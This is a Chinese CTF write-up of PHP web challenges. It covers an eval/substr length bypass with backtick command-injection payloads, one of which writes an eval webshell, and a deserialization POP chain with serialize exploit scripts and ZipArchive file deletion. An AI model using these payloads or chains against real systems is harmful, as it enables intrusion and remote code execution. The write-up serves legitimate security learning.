little trick 知识储备 **``**反引号:反引号可以用来执行系统命令 **>**:输出重定向符号:(linux反弹shell本质博客中有讲解) 可以将内容重定向输出至某个位置
思路: 这里一共就三个关键函数,intval、strlen、substr、查找了前面两个的trick都对解题没有帮助,于是看了一下substr函数,可以使用-1进行倒着截断,那么此时也就绕过了len<-1的限制
1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting(0 ); highlight_file(__FILE__ ); $nep = $_GET['nep' ]; $len = $_GET['len' ]; if (intval($len)<8 && strlen($nep)<13 ){ eval (substr($nep,0 ,$len)); }else { die ('too long!' ); } ?>
接下来就是构造eval执行语句:
这里直接放payload进行分析:
1 2 3 ?len=-1&nep=`$_GET[a]`;;&a=ls>1.php ?len=-1&nep=`$_GET[a]`;;&a=cat *>1.php ?len=-1&nep=`$_GET[a]`;;&a=echo \<\?php eval\(\$_POST\[a\]\)\;>123.php//学长解法
从nep后面开始分析: 由于我们输入的执行的代码程度是有限制的,所以这里使用一个GET指令传参,这算是一种拼接手法。这条指令拼接完以后就变成了:
1 2 3 `ls>1. php` `cat *>1. php` `echo \<\?php eval \(\$_POST\[a\]\)\;>123. php`
这里我们分部分详解:
``加反引号,所以可以执行系统命令的echo,系统命令的echo是可以输入内容到文件中的,格式:
为什么需要>文件输出重定向? 我们可以发现在这段代码中是没有echo之类的输出函数的,所以此时我们想要输出内容就需要使用输出重定向,将执行命令的结果 重定向输出至其他文件中,内容才可以显现。
为什么需要反斜杠 : 这里的反斜杠是为了屏蔽一些字符的作用,我们知道``里面是执行了系统命令,在linux系统里面< 等都是有其他意义的,如果不加反斜杠直接输入会有歧义导致输入错误
反引号使用详细参考参考:https://blog.csdn.net/u012005313/article/details/46241473
bbxhh_revenge 这题写的是挺无语的,要一直换ip,我是用利用手机换飞行模式,再换回来,ip会改变,然后用流量放热点达到更换ip的效果:
然后下面在尝试参数的是比较难受的,感觉有点脑洞,我也是在尝试的过程中 多加了一个一个imagin的参数,画面回显才有不同,接下来就和学长一起讨论往下做。
非预期解
这个也是后来才知道的:在尝试参数的过程中 他有说一句话: 你已经可以得到phpinfo了,但是当时没理解这句话的意思,后来才知道,原来在imagin后加上函数才可以打开
预期解 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php function waf ($s ) { return preg_replace('/sys|exec|sh|flag|pass|file|open|dir|2333|;|#|\/\/|>/i' ,"NepnEpneP" ,$s); } if (isset ($_GET['a' ])){ $_=waf($_GET['a' ]); $__=waf($_GET['b' ]); $a=new $_($__); }else { $a=new Error ('?' ); } if (isset ($_GET['c' ])&& isset ($_GET['d' ])){ $c=waf($_GET['c' ]); $d=waf($_GET['d' ]); eval ("$a ->$c ($d )" ); }else { $c='getMesssage' ; $d="" ; eval ("echo $a ->$c ($d );" ); } ?>
拿到源码和学长想的是利用内置类,但是有个参数问题没法解决,所以还在等正经wp
梦里花开牡丹亭 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <?php highlight_file(__FILE__ ); error_reporting(0 ); include ('shell.php' );class Game { public $username; public $password; public $choice; public $register; public $file; public $filename; public $content; public function __construct ( ) { $this ->username='user' ; $this ->password='user' ; } public function __wakeup ( ) { if (md5($this ->register)==="21232f297a57a5a743894a0e4a801fc3" ){ $this ->choice=new login($this ->file,$this ->filename,$this ->content); }else { $this ->choice = new register(); } } public function __destruct ( ) { $this ->choice->checking($this ->username,$this ->password); } } class login { public $file; public $filename; public $content; public function __construct ($file,$filename,$content ) { $this ->file=$file; $this ->filename=$filename; $this ->content=$content; } public function checking ($username,$password ) { if ($username==='admin' &&$password==='admin' ){ $this ->file->open($this ->filename,$this ->content); die ('login success you can to open shell file!' ); } } } class register { public function checking ($username,$password )//这边就会检查了 { if ($username==='admin' &&$password==='admin' ){ die ('success register admin' ); }else { die ('please register admin ' ); } } } class Open { function open ($filename, $content ) { if (!file_get_contents('waf.txt' )){ shell($content); }else { echo file_get_contents($filename.".php" ); } } } if ($_GET['a' ]!==$_GET['b' ]&&(md5($_GET['a' ]) === md5($_GET['b' ])) && (sha1($_GET['a' ])=== sha1($_GET['b' ]))){ @unserialize(base64_decode($_POST['unser' ])); }
这个是反序列化漏洞,但是我反序列化漏洞只是学了一个比较简单_wakeup()函数的绕过,试着做一下这题,本来想看着学长们的wp做,但是想了一下,反序列化问题有遇到过了,还是尝试自己做一下
POP链条 1.反序列化触发wake_up方法,wake_up方法中做了一个判断,我们输入的admin的时候将会跳转到login类当中,会先使用construct方法,对各个变量进行赋值 2.接下来将就会返回到Game类中调用_destruct调用方法,又进入到checking类中 3.此时将会调用checking方法,这里有个参数 file,我们要对file赋值让他进入Open类中调用file_get_contents函数
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php class Game { public $username; public $password; public $choice; public $register; public $file; public $filename; public $content; } class login {} class register {} class Open {} $a=new Game; $b=new Open; $a->register="admin" ; $a->filename="shell" ; $a->file=$b; $a->username="admin" ; $a->password="admin" ; print (base64_encode(serialize($a)));?>
接下来会获得以下文件:
1 2 3 4 5 6 7 8 9 10 11 function shell ($cmd ) { if (strlen($cmd)<10 ){ if (preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/' ,$cmd)){ die ("NO" ); }else { return system($cmd); } }else { die ('so long!' ); } }
原来这段代码还没结束,还有下文,这里有个shell方法是在我们上面那个判断语句当中的,当waf.txt不存在的时候才会调用这个shell方法现在我们需要删除这个waf.txt,由于以上没有我们可以利用的类,所以这里很明显需要使用内置类进行删除(跟那个bbxhh-revenge有神似的地方)这里需要寻找一个能直接删除的内置类:
利用此代码即可删除
所以序列化一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class Game { public $username; public $password; public $choice; public $register; public $file; public $filename; public $content; } class login {} class register {} class Open {} $a=new Game; $zip=new ZipArchive(); $a->register="admin" ; $a->filename="waf.txt" ; $a->content=ZipArchive::OVERWRITE; $a->file=$zip; $a->username="admin" ; $a->password="admin" ; print (base64_encode(serialize($a)));
接下来就是写入代码执行shell了 在反序列化那边对content参数进行修改(用得是第一个反序列化代码),执行ls没找到flag应该是在根目录了,然后ls /
发现flag目录 感觉flag就在里面了,于是使用 php /flag即可打开